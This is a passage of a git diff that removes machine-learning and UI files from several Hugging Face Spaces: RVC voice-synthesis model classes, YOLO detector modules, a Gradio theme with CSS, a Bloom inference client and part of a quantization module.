-        self.segment_size = segment_size
-        self.gin_channels = gin_channels
-        # self.hop_length = hop_length#
-        self.spk_embed_dim = spk_embed_dim
-        self.enc_p = TextEncoder256(
-            inter_channels,
-            hidden_channels,
-            filter_channels,
-            n_heads,
-            n_layers,
-            kernel_size,
-            p_dropout,
-            f0=False,
-        )
-        self.dec = Generator(
-            inter_channels,
-            resblock,
-            resblock_kernel_sizes,
-            resblock_dilation_sizes,
-            upsample_rates,
-            upsample_initial_channel,
-            upsample_kernel_sizes,
-            gin_channels=gin_channels,
-        )
-        self.enc_q = PosteriorEncoder(
-            spec_channels,
-            inter_channels,
-            hidden_channels,
-            5,
-            1,
-            16,
-            gin_channels=gin_channels,
-        )
-        self.flow = ResidualCouplingBlock(
-            inter_channels, hidden_channels, 5, 1, 3, gin_channels=gin_channels
-        )
-        self.emb_g = nn.Embedding(self.spk_embed_dim, gin_channels)
-        logger.debug(
-            "gin_channels: "
-            + str(gin_channels)
-            + ", self.spk_embed_dim: "
-            + str(self.spk_embed_dim)
-        )
-
-    def remove_weight_norm(self):
-        self.dec.remove_weight_norm()
-        self.flow.remove_weight_norm()
-        self.enc_q.remove_weight_norm()
-
-    def forward(self, phone, phone_lengths, y, y_lengths, ds):  # 这里ds是id，[bs,1]
-        g = self.emb_g(ds).unsqueeze(-1)  # [b, 256, 1]##1是t，广播的
-        m_p, logs_p, x_mask = self.enc_p(phone, None, phone_lengths)
-        z, m_q, logs_q, y_mask = self.enc_q(y, y_lengths, g=g)
-        z_p = self.flow(z, y_mask, g=g)
-        z_slice, ids_slice = commons.rand_slice_segments(
-            z, y_lengths, self.segment_size
-        )
-        o = self.dec(z_slice, g=g)
-        return o, ids_slice, x_mask, y_mask, (z, z_p, m_p, logs_p, m_q, logs_q)
-
-    def infer(self, phone, phone_lengths, sid, rate=None):
-        g = self.emb_g(sid).unsqueeze(-1)
-        m_p, logs_p, x_mask = self.enc_p(phone, None, phone_lengths)
-        z_p = (m_p + torch.exp(logs_p) * torch.randn_like(m_p) * 0.66666) * x_mask
-        if rate:
-            head = int(z_p.shape[2] * rate)
-            z_p = z_p[:, :, -head:]
-            x_mask = x_mask[:, :, -head:]
-        z = self.flow(z_p, x_mask, g=g, reverse=True)
-        o = self.dec(z * x_mask, g=g)
-        return o, x_mask, (z, z_p, m_p, logs_p)
-
-
-class SynthesizerTrnMs768NSFsid_nono(nn.Module):
-    def __init__(
-        self,
-        spec_channels,
-        segment_size,
-        inter_channels,
-        hidden_channels,
-        filter_channels,
-        n_heads,
-        n_layers,
-        kernel_size,
-        p_dropout,
-        resblock,
-        resblock_kernel_sizes,
-        resblock_dilation_sizes,
-        upsample_rates,
-        upsample_initial_channel,
-        upsample_kernel_sizes,
-        spk_embed_dim,
-        gin_channels,
-        sr=None,
-        **kwargs
-    ):
-        super().__init__()
-        self.spec_channels = spec_channels
-        self.inter_channels = inter_channels
-        self.hidden_channels = hidden_channels
-        self.filter_channels = filter_channels
-        self.n_heads = n_heads
-        self.n_layers = n_layers
-        self.kernel_size = kernel_size
-        self.p_dropout = p_dropout
-        self.resblock = resblock
-        self.resblock_kernel_sizes = resblock_kernel_sizes
-        self.resblock_dilation_sizes = resblock_dilation_sizes
-        self.upsample_rates = upsample_rates
-        self.upsample_initial_channel = upsample_initial_channel
-        self.upsample_kernel_sizes = upsample_kernel_sizes
-        self.segment_size = segment_size
-        self.gin_channels = gin_channels
-        # self.hop_length = hop_length#
-        self.spk_embed_dim = spk_embed_dim
-        self.enc_p = TextEncoder768(
-            inter_channels,
-            hidden_channels,
-            filter_channels,
-            n_heads,
-            n_layers,
-            kernel_size,
-            p_dropout,
-            f0=False,
-        )
-        self.dec = Generator(
-            inter_channels,
-            resblock,
-            resblock_kernel_sizes,
-            resblock_dilation_sizes,
-            upsample_rates,
-            upsample_initial_channel,
-            upsample_kernel_sizes,
-            gin_channels=gin_channels,
-        )
-        self.enc_q = PosteriorEncoder(
-            spec_channels,
-            inter_channels,
-            hidden_channels,
-            5,
-            1,
-            16,
-            gin_channels=gin_channels,
-        )
-        self.flow = ResidualCouplingBlock(
-            inter_channels, hidden_channels, 5, 1, 3, gin_channels=gin_channels
-        )
-        self.emb_g = nn.Embedding(self.spk_embed_dim, gin_channels)
-        logger.debug(
-            "gin_channels: "
-            + str(gin_channels)
-            + ", self.spk_embed_dim: "
-            + str(self.spk_embed_dim)
-        )
-
-    def remove_weight_norm(self):
-        self.dec.remove_weight_norm()
-        self.flow.remove_weight_norm()
-        self.enc_q.remove_weight_norm()
-
-    def forward(self, phone, phone_lengths, y, y_lengths, ds):  # 这里ds是id，[bs,1]
-        g = self.emb_g(ds).unsqueeze(-1)  # [b, 256, 1]##1是t，广播的
-        m_p, logs_p, x_mask = self.enc_p(phone, None, phone_lengths)
-        z, m_q, logs_q, y_mask = self.enc_q(y, y_lengths, g=g)
-        z_p = self.flow(z, y_mask, g=g)
-        z_slice, ids_slice = commons.rand_slice_segments(
-            z, y_lengths, self.segment_size
-        )
-        o = self.dec(z_slice, g=g)
-        return o, ids_slice, x_mask, y_mask, (z, z_p, m_p, logs_p, m_q, logs_q)
-
-    def infer(self, phone, phone_lengths, sid, rate=None):
-        g = self.emb_g(sid).unsqueeze(-1)
-        m_p, logs_p, x_mask = self.enc_p(phone, None, phone_lengths)
-        z_p = (m_p + torch.exp(logs_p) * torch.randn_like(m_p) * 0.66666) * x_mask
-        if rate:
-            head = int(z_p.shape[2] * rate)
-            z_p = z_p[:, :, -head:]
-            x_mask = x_mask[:, :, -head:]
-        z = self.flow(z_p, x_mask, g=g, reverse=True)
-        o = self.dec(z * x_mask, g=g)
-        return o, x_mask, (z, z_p, m_p, logs_p)
-
-
-class MultiPeriodDiscriminator(torch.nn.Module):
-    def __init__(self, use_spectral_norm=False):
-        super(MultiPeriodDiscriminator, self).__init__()
-        periods = [2, 3, 5, 7, 11, 17]
-        # periods = [3, 5, 7, 11, 17, 23, 37]
-
-        discs = [DiscriminatorS(use_spectral_norm=use_spectral_norm)]
-        discs = discs + [
-            DiscriminatorP(i, use_spectral_norm=use_spectral_norm) for i in periods
-        ]
-        self.discriminators = nn.ModuleList(discs)
-
-    def forward(self, y, y_hat):
-        y_d_rs = []  #
-        y_d_gs = []
-        fmap_rs = []
-        fmap_gs = []
-        for i, d in enumerate(self.discriminators):
-            y_d_r, fmap_r = d(y)
-            y_d_g, fmap_g = d(y_hat)
-            # for j in range(len(fmap_r)):
-            #     print(i,j,y.shape,y_hat.shape,fmap_r[j].shape,fmap_g[j].shape)
-            y_d_rs.append(y_d_r)
-            y_d_gs.append(y_d_g)
-            fmap_rs.append(fmap_r)
-            fmap_gs.append(fmap_g)
-
-        return y_d_rs, y_d_gs, fmap_rs, fmap_gs
-
-
-class MultiPeriodDiscriminatorV2(torch.nn.Module):
-    def __init__(self, use_spectral_norm=False):
-        super(MultiPeriodDiscriminatorV2, self).__init__()
-        # periods = [2, 3, 5, 7, 11, 17]
-        periods = [2, 3, 5, 7, 11, 17, 23, 37]
-
-        discs = [DiscriminatorS(use_spectral_norm=use_spectral_norm)]
-        discs = discs + [
-            DiscriminatorP(i, use_spectral_norm=use_spectral_norm) for i in periods
-        ]
-        self.discriminators = nn.ModuleList(discs)
-
-    def forward(self, y, y_hat):
-        y_d_rs = []  #
-        y_d_gs = []
-        fmap_rs = []
-        fmap_gs = []
-        for i, d in enumerate(self.discriminators):
-            y_d_r, fmap_r = d(y)
-            y_d_g, fmap_g = d(y_hat)
-            # for j in range(len(fmap_r)):
-            #     print(i,j,y.shape,y_hat.shape,fmap_r[j].shape,fmap_g[j].shape)
-            y_d_rs.append(y_d_r)
-            y_d_gs.append(y_d_g)
-            fmap_rs.append(fmap_r)
-            fmap_gs.append(fmap_g)
-
-        return y_d_rs, y_d_gs, fmap_rs, fmap_gs
-
-
-class DiscriminatorS(torch.nn.Module):
-    def __init__(self, use_spectral_norm=False):
-        super(DiscriminatorS, self).__init__()
-        norm_f = weight_norm if use_spectral_norm == False else spectral_norm
-        self.convs = nn.ModuleList(
-            [
-                norm_f(Conv1d(1, 16, 15, 1, padding=7)),
-                norm_f(Conv1d(16, 64, 41, 4, groups=4, padding=20)),
-                norm_f(Conv1d(64, 256, 41, 4, groups=16, padding=20)),
-                norm_f(Conv1d(256, 1024, 41, 4, groups=64, padding=20)),
-                norm_f(Conv1d(1024, 1024, 41, 4, groups=256, padding=20)),
-                norm_f(Conv1d(1024, 1024, 5, 1, padding=2)),
-            ]
-        )
-        self.conv_post = norm_f(Conv1d(1024, 1, 3, 1, padding=1))
-
-    def forward(self, x):
-        fmap = []
-
-        for l in self.convs:
-            x = l(x)
-            x = F.leaky_relu(x, modules.LRELU_SLOPE)
-            fmap.append(x)
-        x = self.conv_post(x)
-        fmap.append(x)
-        x = torch.flatten(x, 1, -1)
-
-        return x, fmap
-
-
-class DiscriminatorP(torch.nn.Module):
-    def __init__(self, period, kernel_size=5, stride=3, use_spectral_norm=False):
-        super(DiscriminatorP, self).__init__()
-        self.period = period
-        self.use_spectral_norm = use_spectral_norm
-        norm_f = weight_norm if use_spectral_norm == False else spectral_norm
-        self.convs = nn.ModuleList(
-            [
-                norm_f(
-                    Conv2d(
-                        1,
-                        32,
-                        (kernel_size, 1),
-                        (stride, 1),
-                        padding=(get_padding(kernel_size, 1), 0),
-                    )
-                ),
-                norm_f(
-                    Conv2d(
-                        32,
-                        128,
-                        (kernel_size, 1),
-                        (stride, 1),
-                        padding=(get_padding(kernel_size, 1), 0),
-                    )
-                ),
-                norm_f(
-                    Conv2d(
-                        128,
-                        512,
-                        (kernel_size, 1),
-                        (stride, 1),
-                        padding=(get_padding(kernel_size, 1), 0),
-                    )
-                ),
-                norm_f(
-                    Conv2d(
-                        512,
-                        1024,
-                        (kernel_size, 1),
-                        (stride, 1),
-                        padding=(get_padding(kernel_size, 1), 0),
-                    )
-                ),
-                norm_f(
-                    Conv2d(
-                        1024,
-                        1024,
-                        (kernel_size, 1),
-                        1,
-                        padding=(get_padding(kernel_size, 1), 0),
-                    )
-                ),
-            ]
-        )
-        self.conv_post = norm_f(Conv2d(1024, 1, (3, 1), 1, padding=(1, 0)))
-
-    def forward(self, x):
-        fmap = []
-
-        # 1d to 2d
-        b, c, t = x.shape
-        if t % self.period != 0:  # pad first
-            n_pad = self.period - (t % self.period)
-            if has_xpu and x.dtype == torch.bfloat16:
-                x = F.pad(x.to(dtype=torch.float16), (0, n_pad), "reflect").to(dtype=torch.bfloat16)
-            else:
-                x = F.pad(x, (0, n_pad), "reflect")
-            t = t + n_pad
-        x = x.view(b, c, t // self.period, self.period)
-
-        for l in self.convs:
-            x = l(x)
-            x = F.leaky_relu(x, modules.LRELU_SLOPE)
-            fmap.append(x)
-        x = self.conv_post(x)
-        fmap.append(x)
-        x = torch.flatten(x, 1, -1)
-
-        return x, fmap
diff --git a/spaces/EuroPython2022/Warehouse_Apparel_Detection/metadata/predictor_yolo_detector/models/common.py b/spaces/EuroPython2022/Warehouse_Apparel_Detection/metadata/predictor_yolo_detector/models/common.py
deleted file mode 100644
index 419f38439a346f1f7b9b497ae16a46299c5160ca..0000000000000000000000000000000000000000
--- a/spaces/EuroPython2022/Warehouse_Apparel_Detection/metadata/predictor_yolo_detector/models/common.py
+++ /dev/null
@@ -1,189 +0,0 @@
-# This file contains modules common to various models
-
-import math
-
-import numpy as np
-import torch
-import torch.nn as nn
-
-from metadata.predictor_yolo_detector.utils.datasets import letterbox
-from metadata.predictor_yolo_detector.utils.general import non_max_suppression, make_divisible, \
-    scale_coords
-
-
-def autopad(k, p=None):  # kernel, padding
-    # Pad to 'same'
-    if p is None:
-        p = k // 2 if isinstance(k, int) else [x // 2 for x in k]  # auto-pad
-    return p
-
-
-def DWConv(c1, c2, k=1, s=1, act=True):
-    # Depthwise convolution
-    return Conv(c1, c2, k, s, g=math.gcd(c1, c2), act=act)
-
-
-class Conv(nn.Module):
-    # Standard convolution
-    def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True):  # ch_in, ch_out, kernel, stride, padding, groups
-        super(Conv, self).__init__()
-        self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g, bias=False)
-        self.bn = nn.BatchNorm2d(c2)
-        self.act = nn.Hardswish() if act else nn.Identity()
-
-    def forward(self, x):
-        return self.act(self.bn(self.conv(x)))
-
-    def fuseforward(self, x):
-        return self.act(self.conv(x))
-
-
-class Bottleneck(nn.Module):
-    # Standard bottleneck
-    def __init__(self, c1, c2, shortcut=True, g=1, e=0.5):  # ch_in, ch_out, shortcut, groups, expansion
-        super(Bottleneck, self).__init__()
-        c_ = int(c2 * e)  # hidden channels
-        self.cv1 = Conv(c1, c_, 1, 1)
-        self.cv2 = Conv(c_, c2, 3, 1, g=g)
-        self.add = shortcut and c1 == c2
-
-    def forward(self, x):
-        return x + self.cv2(self.cv1(x)) if self.add else self.cv2(self.cv1(x))
-
-
-class BottleneckCSP(nn.Module):
-    # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks
-    def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5):  # ch_in, ch_out, number, shortcut, groups, expansion
-        super(BottleneckCSP, self).__init__()
-        c_ = int(c2 * e)  # hidden channels
-        self.cv1 = Conv(c1, c_, 1, 1)
-        self.cv2 = nn.Conv2d(c1, c_, 1, 1, bias=False)
-        self.cv3 = nn.Conv2d(c_, c_, 1, 1, bias=False)
-        self.cv4 = Conv(2 * c_, c2, 1, 1)
-        self.bn = nn.BatchNorm2d(2 * c_)  # applied to cat(cv2, cv3)
-        self.act = nn.LeakyReLU(0.1, inplace=True)
-        self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)])
-
-    def forward(self, x):
-        y1 = self.cv3(self.m(self.cv1(x)))
-        y2 = self.cv2(x)
-        return self.cv4(self.act(self.bn(torch.cat((y1, y2), dim=1))))
-
-
-class SPP(nn.Module):
-    # Spatial pyramid pooling layer used in YOLOv3-SPP
-    def __init__(self, c1, c2, k=(5, 9, 13)):
-        super(SPP, self).__init__()
-        c_ = c1 // 2  # hidden channels
-        self.cv1 = Conv(c1, c_, 1, 1)
-        self.cv2 = Conv(c_ * (len(k) + 1), c2, 1, 1)
-        self.m = nn.ModuleList([nn.MaxPool2d(kernel_size=x, stride=1, padding=x // 2) for x in k])
-
-    def forward(self, x):
-        x = self.cv1(x)
-        return self.cv2(torch.cat([x] + [m(x) for m in self.m], 1))
-
-
-class Focus(nn.Module):
-    # Focus wh information into c-space
-    def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True):  # ch_in, ch_out, kernel, stride, padding, groups
-        super(Focus, self).__init__()
-        self.conv = Conv(c1 * 4, c2, k, s, p, g, act)
-
-    def forward(self, x):  # x(b,c,w,h) -> y(b,4c,w/2,h/2)
-        return self.conv(torch.cat([x[..., ::2, ::2], x[..., 1::2, ::2], x[..., ::2, 1::2], x[..., 1::2, 1::2]], 1))
-
-
-class Concat(nn.Module):
-    # Concatenate a list of tensors along dimension
-    def __init__(self, dimension=1):
-        super(Concat, self).__init__()
-        self.d = dimension
-
-    def forward(self, x):
-        return torch.cat(x, self.d)
-
-
-class NMS(nn.Module):
-    # Non-Maximum Suppression (NMS) module
-    conf = 0.25  # confidence threshold
-    iou = 0.45  # IoU threshold
-    classes = None  # (optional list) filter by class
-
-    def __init__(self):
-        super(NMS, self).__init__()
-
-    def forward(self, x):
-        return non_max_suppression(x[0], conf_thres=self.conf, iou_thres=self.iou, classes=self.classes)
-
-
-class autoShape(nn.Module):
-    # input-robust model wrapper for passing cv2/np/PIL/torch inputs. Includes preprocessing, inference and NMS
-    img_size = 640  # inference size (pixels)
-    conf = 0.25  # NMS confidence threshold
-    iou = 0.45  # NMS IoU threshold
-    classes = None  # (optional list) filter by class
-
-    def __init__(self, model):
-        super(autoShape, self).__init__()
-        self.model = model
-
-    def forward(self, x, size=640, augment=False, profile=False):
-        # supports inference from various sources. For height=720, width=1280, RGB images example inputs are:
-        #   opencv:     x = cv2.imread('image.jpg')[:,:,::-1]  # HWC BGR to RGB x(720,1280,3)
-        #   PIL:        x = Image.open('image.jpg')  # HWC x(720,1280,3)
-        #   numpy:      x = np.zeros((720,1280,3))  # HWC
-        #   torch:      x = torch.zeros(16,3,720,1280)  # BCHW
-        #   multiple:   x = [Image.open('image1.jpg'), Image.open('image2.jpg'), ...]  # list of images
-
-        p = next(self.model.parameters())  # for device and type
-        if isinstance(x, torch.Tensor):  # torch
-            return self.model(x.to(p.device).type_as(p), augment, profile)  # inference
-
-        # Pre-process
-        if not isinstance(x, list):
-            x = [x]
-        shape0, shape1 = [], []  # image and inference shapes
-        batch = range(len(x))  # batch size
-        for i in batch:
-            x[i] = np.array(x[i])  # to numpy
-            x[i] = x[i][:, :, :3] if x[i].ndim == 3 else np.tile(x[i][:, :, None], 3)  # enforce 3ch input
-            s = x[i].shape[:2]  # HWC
-            shape0.append(s)  # image shape
-            g = (size / max(s))  # gain
-            shape1.append([y * g for y in s])
-        shape1 = [make_divisible(x, int(self.stride.max())) for x in np.stack(shape1, 0).max(0)]  # inference shape
-        x = [letterbox(x[i], new_shape=shape1, auto=False)[0] for i in batch]  # pad
-        x = np.stack(x, 0) if batch[-1] else x[0][None]  # stack
-        x = np.ascontiguousarray(x.transpose((0, 3, 1, 2)))  # BHWC to BCHW
-        x = torch.from_numpy(x).to(p.device).type_as(p) / 255.  # uint8 to fp16/32
-
-        # Inference
-        x = self.model(x, augment, profile)  # forward
-        x = non_max_suppression(x[0], conf_thres=self.conf, iou_thres=self.iou, classes=self.classes)  # NMS
-
-        # Post-process
-        for i in batch:
-            if x[i] is not None:
-                x[i][:, :4] = scale_coords(shape1, x[i][:, :4], shape0[i])
-        return x
-
-
-class Flatten(nn.Module):
-    # Use after nn.AdaptiveAvgPool2d(1) to remove last 2 dimensions
-    @staticmethod
-    def forward(x):
-        return x.view(x.size(0), -1)
-
-
-class Classify(nn.Module):
-    # Classification head, i.e. x(b,c1,20,20) to x(b,c2)
-    def __init__(self, c1, c2, k=1, s=1, p=None, g=1):  # ch_in, ch_out, kernel, stride, padding, groups
-        super(Classify, self).__init__()
-        self.aap = nn.AdaptiveAvgPool2d(1)  # to x(b,c1,1,1)
-        self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g, bias=False)  # to x(b,c2,1,1)
-        self.flat = Flatten()
-
-    def forward(self, x):
-        z = torch.cat([self.aap(y) for y in (x if isinstance(x, list) else [x])], 1)  # cat if list
-        return self.flat(self.conv(z))  # flatten to x(b,c2)
diff --git a/spaces/Fengbinbin/gpt-academic/theme.py b/spaces/Fengbinbin/gpt-academic/theme.py
deleted file mode 100644
index f37b06e695ad74b25de9b7262e1825aa2b824049..0000000000000000000000000000000000000000
--- a/spaces/Fengbinbin/gpt-academic/theme.py
+++ /dev/null
@@ -1,358 +0,0 @@
-import gradio as gr
-from toolbox import get_conf
-CODE_HIGHLIGHT, ADD_WAIFU = get_conf('CODE_HIGHLIGHT', 'ADD_WAIFU')
-# gradio可用颜色列表
-# gr.themes.utils.colors.slate (石板色)
-# gr.themes.utils.colors.gray (灰色)
-# gr.themes.utils.colors.zinc (锌色)
-# gr.themes.utils.colors.neutral (中性色)
-# gr.themes.utils.colors.stone (石头色)
-# gr.themes.utils.colors.red (红色)
-# gr.themes.utils.colors.orange (橙色)
-# gr.themes.utils.colors.amber (琥珀色)
-# gr.themes.utils.colors.yellow (黄色)
-# gr.themes.utils.colors.lime (酸橙色)
-# gr.themes.utils.colors.green (绿色)
-# gr.themes.utils.colors.emerald (祖母绿)
-# gr.themes.utils.colors.teal (青蓝色)
-# gr.themes.utils.colors.cyan (青色)
-# gr.themes.utils.colors.sky (天蓝色)
-# gr.themes.utils.colors.blue (蓝色)
-# gr.themes.utils.colors.indigo (靛蓝色)
-# gr.themes.utils.colors.violet (紫罗兰色)
-# gr.themes.utils.colors.purple (紫色)
-# gr.themes.utils.colors.fuchsia (洋红色)
-# gr.themes.utils.colors.pink (粉红色)
-# gr.themes.utils.colors.rose (玫瑰色)
-
-
-def adjust_theme():
-
-    try:
-        color_er = gr.themes.utils.colors.fuchsia
-        set_theme = gr.themes.Default(
-            primary_hue=gr.themes.utils.colors.orange,
-            neutral_hue=gr.themes.utils.colors.gray,
-            font=["sans-serif", "Microsoft YaHei", "ui-sans-serif", "system-ui",
-                  "sans-serif", gr.themes.utils.fonts.GoogleFont("Source Sans Pro")],
-            font_mono=["ui-monospace", "Consolas", "monospace", gr.themes.utils.fonts.GoogleFont("IBM Plex Mono")])
-        set_theme.set(
-            # Colors
-            input_background_fill_dark="*neutral_800",
-            # Transition
-            button_transition="none",
-            # Shadows
-            button_shadow="*shadow_drop",
-            button_shadow_hover="*shadow_drop_lg",
-            button_shadow_active="*shadow_inset",
-            input_shadow="0 0 0 *shadow_spread transparent, *shadow_inset",
-            input_shadow_focus="0 0 0 *shadow_spread *secondary_50, *shadow_inset",
-            input_shadow_focus_dark="0 0 0 *shadow_spread *neutral_700, *shadow_inset",
-            checkbox_label_shadow="*shadow_drop",
-            block_shadow="*shadow_drop",
-            form_gap_width="1px",
-            # Button borders
-            input_border_width="1px",
-            input_background_fill="white",
-            # Gradients
-            stat_background_fill="linear-gradient(to right, *primary_400, *primary_200)",
-            stat_background_fill_dark="linear-gradient(to right, *primary_400, *primary_600)",
-            error_background_fill=f"linear-gradient(to right, {color_er.c100}, *background_fill_secondary)",
-            error_background_fill_dark="*background_fill_primary",
-            checkbox_label_background_fill="linear-gradient(to top, *neutral_50, white)",
-            checkbox_label_background_fill_dark="linear-gradient(to top, *neutral_900, *neutral_800)",
-            checkbox_label_background_fill_hover="linear-gradient(to top, *neutral_100, white)",
-            checkbox_label_background_fill_hover_dark="linear-gradient(to top, *neutral_900, *neutral_800)",
-            button_primary_background_fill="linear-gradient(to bottom right, *primary_100, *primary_300)",
-            button_primary_background_fill_dark="linear-gradient(to bottom right, *primary_500, *primary_600)",
-            button_primary_background_fill_hover="linear-gradient(to bottom right, *primary_100, *primary_200)",
-            button_primary_background_fill_hover_dark="linear-gradient(to bottom right, *primary_500, *primary_500)",
-            button_primary_border_color_dark="*primary_500",
-            button_secondary_background_fill="linear-gradient(to bottom right, *neutral_100, *neutral_200)",
-            button_secondary_background_fill_dark="linear-gradient(to bottom right, *neutral_600, *neutral_700)",
-            button_secondary_background_fill_hover="linear-gradient(to bottom right, *neutral_100, *neutral_100)",
-            button_secondary_background_fill_hover_dark="linear-gradient(to bottom right, *neutral_600, *neutral_600)",
-            button_cancel_background_fill=f"linear-gradient(to bottom right, {color_er.c100}, {color_er.c200})",
-            button_cancel_background_fill_dark=f"linear-gradient(to bottom right, {color_er.c600}, {color_er.c700})",
-            button_cancel_background_fill_hover=f"linear-gradient(to bottom right, {color_er.c100}, {color_er.c100})",
-            button_cancel_background_fill_hover_dark=f"linear-gradient(to bottom right, {color_er.c600}, {color_er.c600})",
-            button_cancel_border_color=color_er.c200,
-            button_cancel_border_color_dark=color_er.c600,
-            button_cancel_text_color=color_er.c600,
-            button_cancel_text_color_dark="white",
-        )
-
-        # 添加一个萌萌的看板娘
-        if ADD_WAIFU:
-            js = """
-                <script src="file=docs/waifu_plugin/jquery.min.js"></script>
-                <script src="file=docs/waifu_plugin/jquery-ui.min.js"></script>
-                <script src="file=docs/waifu_plugin/autoload.js"></script>
-            """
-            gradio_original_template_fn = gr.routes.templates.TemplateResponse
-            def gradio_new_template_fn(*args, **kwargs):
-                res = gradio_original_template_fn(*args, **kwargs)
-                res.body = res.body.replace(b'</html>', f'{js}</html>'.encode("utf8"))
-                res.init_headers()
-                return res
-            gr.routes.templates.TemplateResponse = gradio_new_template_fn   # override gradio template
-    except:
-        set_theme = None
-        print('gradio版本较旧, 不能自定义字体和颜色')
-    return set_theme
-
-
-advanced_css = """
-/* 设置表格的外边距为1em，内部单元格之间边框合并，空单元格显示. */
-.markdown-body table {
-    margin: 1em 0;
-    border-collapse: collapse;
-    empty-cells: show;
-}
-
-/* 设置表格单元格的内边距为5px，边框粗细为1.2px，颜色为--border-color-primary. */
-.markdown-body th, .markdown-body td {
-    border: 1.2px solid var(--border-color-primary);
-    padding: 5px;
-}
-
-/* 设置表头背景颜色为rgba(175,184,193,0.2)，透明度为0.2. */
-.markdown-body thead {
-    background-color: rgba(175,184,193,0.2);
-}
-
-/* 设置表头单元格的内边距为0.5em和0.2em. */
-.markdown-body thead th {
-    padding: .5em .2em;
-}
-
-/* 去掉列表前缀的默认间距，使其与文本线对齐. */
-.markdown-body ol, .markdown-body ul {
-    padding-inline-start: 2em !important;
-}
-
-/* 设定聊天气泡的样式，包括圆角、最大宽度和阴影等. */
-[class *= "message"] {
-    border-radius: var(--radius-xl) !important;
-    /* padding: var(--spacing-xl) !important; */
-    /* font-size: var(--text-md) !important; */
-    /* line-height: var(--line-md) !important; */
-    /* min-height: calc(var(--text-md)*var(--line-md) + 2*var(--spacing-xl)); */
-    /* min-width: calc(var(--text-md)*var(--line-md) + 2*var(--spacing-xl)); */
-}
-[data-testid = "bot"] {
-    max-width: 95%;
-    /* width: auto !important; */
-    border-bottom-left-radius: 0 !important;
-}
-[data-testid = "user"] {
-    max-width: 100%;
-    /* width: auto !important; */
-    border-bottom-right-radius: 0 !important;
-}
-
-/* 行内代码的背景设为淡灰色，设定圆角和间距. */
-.markdown-body code {
-    display: inline;
-    white-space: break-spaces;
-    border-radius: 6px;
-    margin: 0 2px 0 2px;
-    padding: .2em .4em .1em .4em;
-    background-color: rgba(13, 17, 23, 0.95);
-    color: #c9d1d9;
-}
-
-.dark .markdown-body code {
-    display: inline;
-    white-space: break-spaces;
-    border-radius: 6px;
-    margin: 0 2px 0 2px;
-    padding: .2em .4em .1em .4em;
-    background-color: rgba(175,184,193,0.2);
-}
-
-/* 设定代码块的样式，包括背景颜色、内、外边距、圆角。 */
-.markdown-body pre code {
-    display: block;
-    overflow: auto;
-    white-space: pre;
-    background-color: rgba(13, 17, 23, 0.95);
-    border-radius: 10px;
-    padding: 1em;
-    margin: 1em 2em 1em 0.5em;
-}
-
-.dark .markdown-body pre code {
-    display: block;
-    overflow: auto;
-    white-space: pre;
-    background-color: rgba(175,184,193,0.2);
-    border-radius: 10px;
-    padding: 1em;
-    margin: 1em 2em 1em 0.5em;
-}
-
-"""
-
-if CODE_HIGHLIGHT:
-    advanced_css += """
-
-.codehilite .hll { background-color: #6e7681 }
-.codehilite .c { color: #8b949e; font-style: italic } /* Comment */
-.codehilite .err { color: #f85149 } /* Error */
-.codehilite .esc { color: #c9d1d9 } /* Escape */
-.codehilite .g { color: #c9d1d9 } /* Generic */
-.codehilite .k { color: #ff7b72 } /* Keyword */
-.codehilite .l { color: #a5d6ff } /* Literal */
-.codehilite .n { color: #c9d1d9 } /* Name */
-.codehilite .o { color: #ff7b72; font-weight: bold } /* Operator */
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-
-.dark .codehilite .hll { background-color: #2C3B41 }
-.dark .codehilite .c { color: #79d618; font-style: italic } /* Comment */
-.dark .codehilite .err { color: #FF5370 } /* Error */
-.dark .codehilite .esc { color: #89DDFF } /* Escape */
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-
-"""
diff --git a/spaces/FluxWaveCorp/Ghostwriter-Bloom/generators/model.py b/spaces/FluxWaveCorp/Ghostwriter-Bloom/generators/model.py
deleted file mode 100644
index 4f69c12da37f78b413ae60a223f39a4534e206ec..0000000000000000000000000000000000000000
--- a/spaces/FluxWaveCorp/Ghostwriter-Bloom/generators/model.py
+++ /dev/null
@@ -1,52 +0,0 @@
- 
-from unittest import result
-from templates.Templates import PromptTemplate
-import openai
-import os
-import requests
-
-prompt = PromptTemplate()
-
-stop_words = ["###", "\n\n", "<br><br>", "The authors: "]
-
-
-def model(type, template, seq_len=250):
-    train = ''
-    if type == 'title':
-        train = prompt.TITLE_TO_ABSTRACST
-    if type == 'topic':
-        train = prompt.TOPIC_TO_ABSTRACST
-
-    HF_URL = "https://api-inference.huggingface.co/models/bigscience/bloom"
-    HF_KEY = os.environ["HF_KEY"]
-
-    headers = {"Authorization": f"Bearer {HF_KEY}"}
-
-    print(f"Inside model {seq_len}")
-
-    payload = {
-        "inputs": train + template,
-        "parameters": {
-            "temperature": 0.9,
-            "max_new_tokens": seq_len,
-            "return_full_text": False,
-            "top_p": 0.8,
-            "frequency_penalty": 1.0,
-            "retention_penalty": 1.0,
-        },
-        "options": {
-            "use_cache": False
-        }
-    }
-
-    response = requests.post(HF_URL, json=payload, headers=headers)
-    response = response.json()
-    result = response[0]['generated_text']
-    # print("********", len(result), "********")
-
-    # print(result)
-
-    result = result.split("\n\n\n\n")[-1].strip().split("\n")[-1]
-
-
-    return {"result": result}
diff --git a/spaces/FridaZuley/RVC_HFKawaii/diffq/uniform.py b/spaces/FridaZuley/RVC_HFKawaii/diffq/uniform.py
deleted file mode 100644
index f61e9129c04caaa33c66f726bf2433d51689cfa5..0000000000000000000000000000000000000000
--- a/spaces/FridaZuley/RVC_HFKawaii/diffq/uniform.py
+++ /dev/null
@@ -1,121 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-# All rights reserved.
-#
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.
-
-"""
-Classic uniform quantization over n bits.
-"""
-from typing import Tuple
-import torch
-
-from .base import BaseQuantizer
-from .utils import simple_repr
-
-
-def uniform_quantize(p: torch.Tensor, bits: torch.Tensor = torch.tensor(8.)):
-    """
-    Quantize the given weights over `bits` bits.
-
-    Returns:
-        - quantized levels
-        - (min, max) range.
-
-    """
-    assert (bits >= 1).all() and (bits <= 15).all()
-    num_levels = (2 ** bits.float()).long()
-    mn = p.min().item()
-    mx = p.max().item()
-    p = (p - mn) / (mx - mn)  # put p in [0, 1]
